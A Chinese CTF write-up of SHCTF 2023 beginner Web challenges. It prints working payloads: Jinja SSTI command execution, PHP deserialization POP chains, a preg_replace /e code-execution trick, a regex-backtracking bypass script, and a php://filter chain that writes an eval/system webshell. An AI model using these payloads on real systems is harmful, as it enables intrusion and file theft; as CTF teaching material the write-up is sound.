SHCTF 2023 新生赛 Web 题解
Web
[WEEK1]babyRCE
源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag



[WEEK1]飞机大战
源码js发现unicode编码
\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a
解码获得flag

[WEEK1]登录就给flag
这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag

[WEEK1]生成你的邀请函吧~
使用POST json请求来生成你的邀请函
直接用脚本就行了
import requestsfrom PIL import Imageimport iourl = "http://112.6.51.212:30908/generate_invitation"data = {"name": "C_yi","imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"}response = requests.post(url, json=data, verify=False)# 获取返回的图片内容image_content = response.content# 创建一个PIL的Image对象image = Image.open(io.BytesIO(image_content))# 保存图片image.save("avatar.jpg")
然后搜索avatar.jpg

得到flag
[WEEK1]ez_serialize
<?phphighlight_file(__FILE__);class A{public $var_1;public function __invoke(){include($this->var_1);}}class B{public $q;public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {echo "hacker"; }}}class C{public $var;public $z;public function __toString(){return $this->z->var;}}class D{public $p;public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['payload'])){unserialize($_GET['payload']);}?>
代码审计
我们反推把 首先看输出点为include()函数

那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)

要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var

想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个

Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发
所以构造最终的代码
<?phpclass A{public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';}class B{public $q;}class C{public $var;public $z;}class D{public $p;}$b = new B();$c = new C();$b->q = $c;$d = new D();$c->z = $d;$d->p = new A();var_dump(serialize($b))?>
Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
然后base64解码就得到falg了

[WEEK1]1zzphp
这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了


所以也没啥难的 按照下面这个自己调试就饿可以了

我的是
import requestsurl="http://112.6.51.212:32191/?num[]=1"data={'c[ode':'very'*250000+'2023SHCTF'}r=requests.post(url,data=data)print(r.text)
[WEEK1]ezphp
这道题的考点就是研究preg_replace \e模式下的代码执行
可以看这篇文章
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
因为这道题的phpinfo()和大括号没被过滤
![]()
所以可以利用
题目就是通过get传参code post传参pattern 关键就是下面这句话

preg_replace 使用了 /e 模式,导致了代码可以被执行
那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern code传入
原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);
变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});

所以得到flag了
[WEEK2]no_wake_up
又是一道简单的反序列化题

Exp:
<?phpclass flag{public $username = "admin";public $code = "php://filter/read=convert.base64-encode/resource=flag.php";}$a = new flag();echo serialize($a);
Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}
解码获得flag

[WEEK2]EasyCMS
考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取
需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag

[WEEK2]ez_ssti
有点像ctfshow 里面的web361
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
发现flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
[WEEK2]serialize
这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久
js代码:
var arr = ["o123:", "c456:", "d789:"];arr = arr.filter(function(element) {return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素});console.log(arr); // 输出: ["d789:"]
Pop链比较简单:wakeup()->get()->totring()
构造代码
<?phpclass misca{public $gao;public $fei;public $a;}class musca{public $ding;public $dong;}class milaoshu{public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取}$m = new musca();$m->ding = new misca(); //这个就是触发get魔术方法$m->ding->gao = &$m->ding->a; //把gao赋值给a$m->ding->fei = new milaoshu(); //触发tostring魔术方法echo serialize(array($m)); //利用数组进行绕过正则匹配
Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
解码获得flag

[week3]快问快答
这种短时间内回答的题一看就是要脚本

根据源码写paylaod就行
import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求answer1 = {'answer': answer}response=requests.Session()response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的return responsedef parse_question(response):#用于计算答案html = response.textanswer=0pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息match = pattern.search(html)if match:question = match.group(1)numbers = re.findall(r"\d+", question)operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符op=operation[0]if len(numbers) == 2:a = int(numbers[0])b = int(numbers[1])if op == "异或":answer = a ^ bif op == "与":answer = a & bif op == "-":answer = a - bif op == "+":answer = a + bif op == "x":answer = a * bif op == "÷":answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误#print(question)#print(answer)else:print("找不到题目")return answerurl = "http://112.6.51.212:32776/" # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间response = post_answer(url, headers, answer, cookie)print(response.text)#打印表单answer = parse_question(response)cookie = response.cookies
得到flag

[WEEK3]sseerriiaalliizzee
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);class Start{public $barking;public function __construct(){$this->barking = new Flag;}public function __toString(){return $this->barking->dosomething();}
}class CTF{ public $part1;public $part2;public function __construct($part1='',$part2='') {$this -> part1 = $part1;$this -> part2 = $part2;}public function dosomething(){$useless = '<?php die("+Genshin Impact Start!+");?>';$useful= $useless. $this->part2;file_put_contents($this-> part1,$useful);}
}
class Flag{public function dosomething(){include('./flag,php');return "barking for fun!";}
}$code=$_POST['code']; if(isset($code)){echo unserialize($code);}else{echo "no way, fuck off";}
?>
no way, fuck off
出口函数 file_put_contents,很简单的pop链 Start:__tostring()->CTF:dosomething()
考点就是无非是file_put_contents()

大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个

里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功
那这里的考点就是file_put_contents利用技巧

具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)
我们直接构造paylaod:
<?php eval('system("ls /");'); ?> 然后base64编码(?前面不加空格 就会编码变成+号)
PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==
然后
构造脚本
<?php
class Start{public $barking;
}class CTF{public $part1;public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flagecho serialize($start);
?>

同理换成 cat /flag
Paylaod:
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}

相关文章:
SHCTF 2023 新生赛 Web 题解
Web [WEEK1]babyRCE 源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag [WEEK1]飞机大战 源码js发现unicode编码 \u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045…...
二叉树题目合集(C++)
二叉树题目合集 1.二叉树创建字符串(简单)2.二叉树的分层遍历(中等)3.二叉树的最近公共祖先(中等)4.二叉树搜索树转换成排序双向链表(中等)5.根据树的前序遍历与中序遍历构造二叉树&…...
dbeaver配置es连接org.elasticsearch.xpack.sql.jdbc.EsDriver
查看目标es服务版本,下载对应驱动...
有监督学习线性回归
1、目标分析(回归问题还是分类问题?) 2、获取、处理数据 3、创建线性回归模型 4、训练模型 5、模型测试 x_data [[6000, 58], [9000, 77], [11000, 89], [15000, 54]] # 样本特征数据 y_data [30000, 55010, 73542, 63201] # 样本目标数…...
如何在vscode中添加less插件
Less (Leaner Style Sheets 的缩写) 是一门向后兼容的 CSS 扩展语言。它对CSS 语言增加了少许方便的扩展,通过less可以编写更少的代码实现更强大的样式。但less不是css,浏览器不能直接识别,即浏览器无法执行less代码&a…...
mediapipe 训练自有图像数据分类
参考: https://developers.google.com/mediapipe/solutions/customization/image_classifier https://colab.research.google.com/github/googlesamples/mediapipe/blob/main/examples/customization/image_classifier.ipynb#scrollToplvO-YmcQn5g 安装:…...
【pytorch】torch.gather()函数
dim0时 index[ [x1,x2,x2],[y1,y2,y2],[z1,z2,z3] ]如果dim0 填入方式为: index[ [(x1,0),(x2,1),(x3,2)][(y1,0),(y2,1),(y3,2)][(z1,0),(z2,1),(z3,2)] ]input [[1, 2, 3, 4],[5, 6, 7, 8],[9, 10, 11, 12] ] # shape(3,4) input torch.…...
Mac 安装psycopg2,报错Error: pg_config executable not found.
在mac 上安装psycopg2的方法:执行:pip3 install psycopg2-binary。 如果执行pip3 install psycopg2,无法安装psycopg2 报错信息如下: Collecting psycopg2Using cached psycopg2-2.9.9.tar.gz (384 kB)Preparing metadata (set…...
域名系统 DNS
DNS 概述 域名系统 DNS(Domain Name System)是因特网使用的命名系统,用来把便于人们使用的机器名字转换成为 IP 地址。域名系统其实就是名字系统。为什么不叫“名字”而叫“域名”呢?这是因为在这种因特网的命名系统中使用了许多的“域(domain)”&#x…...
Vue $nextTick 模板解析后在执行的函数
this.$nextTick(()>{ 模板解析后在执行的函数 })...
VBA技术资料MF76:将自定义颜色添加到调色板
我给VBA的定义:VBA是个人小型自动化处理的有效工具。利用好了,可以大大提高自己的工作效率,而且可以提高数据的准确度。我的教程一共九套,分为初级、中级、高级三大部分。是对VBA的系统讲解,从简单的入门,到…...
zilong-20231030
1)k个反转 2)n!转12进制 求末尾多少0 一共有几位 (考虑了溢出问题) 3)大量数据获取前10个 4)reemap地城结构 5)红黑树规则特性 6)热更 7)压测 8)业务 跨服实现 9)有哪些线程以及怎么分配...
目标检测算法发展史
前言 比起图像识别,现在图片生成技术要更加具有吸引力,但是要步入AIGC技术领域,首先不推荐一上来就接触那些已经成熟闭源的包装好了再提供给你的接口网站,会使用别人的模型生成一些图片就能叫自己会AIGC了吗?那样真正…...
React 生成传递给无障碍属性的唯一 ID
useId() 在组件的顶层调用 useId 生成唯一 ID: import { useId } from react; function PasswordField() { const passwordHintId useId(); // ...参数 useId 不带任何参数。 返回值 useId 返回一个唯一的字符串 ID,与此特定组件中的 useI…...
十种排序算法(1) - 准备测试函数和工具
1.准备工作 我们先写一堆工具,后续要用,不然这些写在代码里可读性巨差 #pragma once #include<stdio.h>//为C语言定义bool类型 typedef int bool; #define false 0 #define true 1//用于交互a和b inline void swap(int* a, int* b) {/*int c *a…...
IRF联动 BFD-MAD
文章目录 IRF堆叠一、主设备配置二、备设备配置三、验证 MAD检测一、MAD检测二、MAD验证 本实验以2台设备进行堆叠示例,按照配置顺序,先配置主设备,再配置备设备。在IRF配置前暂时先不接堆叠线,按步骤提示接线。 IRF堆叠 一、主设…...
双向链表的初步练习
𝙉𝙞𝙘𝙚!!👏🏻‧✧̣̥̇‧✦👏🏻‧✧̣̥̇‧✦ 👏🏻‧✧̣̥̇: Solitary-walk ⸝⋆ ━━━┓ - 个性标签 - :来于“云”的“羽球人”…...
IDE的组成
集成开发环境(IDE,Integrated Development Environment )是用于提供程序开发环境的应用程序,一般包括代码编辑器、编译器、调试器和图形用户界面等工具。集成了代码编写功能、分析功能、编译功能、调试功能等一体化的开发软件服务…...
项目解读_v2
1. 项目介绍 如果使用task2-1作为示例时, 运行process.py的过程中需要确认 process调用的是函数 preprocess_ast_wav2vec(wav, fr) 1.1 任务简介 首个开源的儿科呼吸音数据集, 通过邀请11位医师标注; 数字听诊器的采样频率和量化分辨率分…...
杀毒软件哪个好,杀毒软件有哪些
安全杀毒软件是一种专门用于检测、防止和清除计算机病毒、恶意软件和其他安全威胁的软件。这类软件通常具备以下功能: 1. 实时监测:通过实时监测计算机系统,能够发现并防止病毒、恶意软件等安全威胁的入侵。 2. 扫描和清除:可以…...
挑战杯推荐项目
“人工智能”创意赛 - 智能艺术创作助手:借助大模型技术,开发能根据用户输入的主题、风格等要求,生成绘画、音乐、文学作品等多种形式艺术创作灵感或初稿的应用,帮助艺术家和创意爱好者激发创意、提高创作效率。 - 个性化梦境…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试
作者:Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位:中南大学地球科学与信息物理学院论文标题:BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接:https://arxiv.…...
循环冗余码校验CRC码 算法步骤+详细实例计算
通信过程:(白话解释) 我们将原始待发送的消息称为 M M M,依据发送接收消息双方约定的生成多项式 G ( x ) G(x) G(x)(意思就是 G ( x ) G(x) G(x) 是已知的)࿰…...
定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
springboot整合VUE之在线教育管理系统简介
可以学习到的技能 学会常用技术栈的使用 独立开发项目 学会前端的开发流程 学会后端的开发流程 学会数据库的设计 学会前后端接口调用方式 学会多模块之间的关联 学会数据的处理 适用人群 在校学生,小白用户,想学习知识的 有点基础,想要通过项…...
在Mathematica中实现Newton-Raphson迭代的收敛时间算法(一般三次多项式)
考察一般的三次多项式,以r为参数: p[z_, r_] : z^3 (r - 1) z - r; roots[r_] : z /. Solve[p[z, r] 0, z]; 此多项式的根为: 尽管看起来这个多项式是特殊的,其实一般的三次多项式都是可以通过线性变换化为这个形式…...
C# 表达式和运算符(求值顺序)
求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如,已知表达式3*52,依照子表达式的求值顺序,有两种可能的结果,如图9-3所示。 如果乘法先执行,结果是17。如果5…...
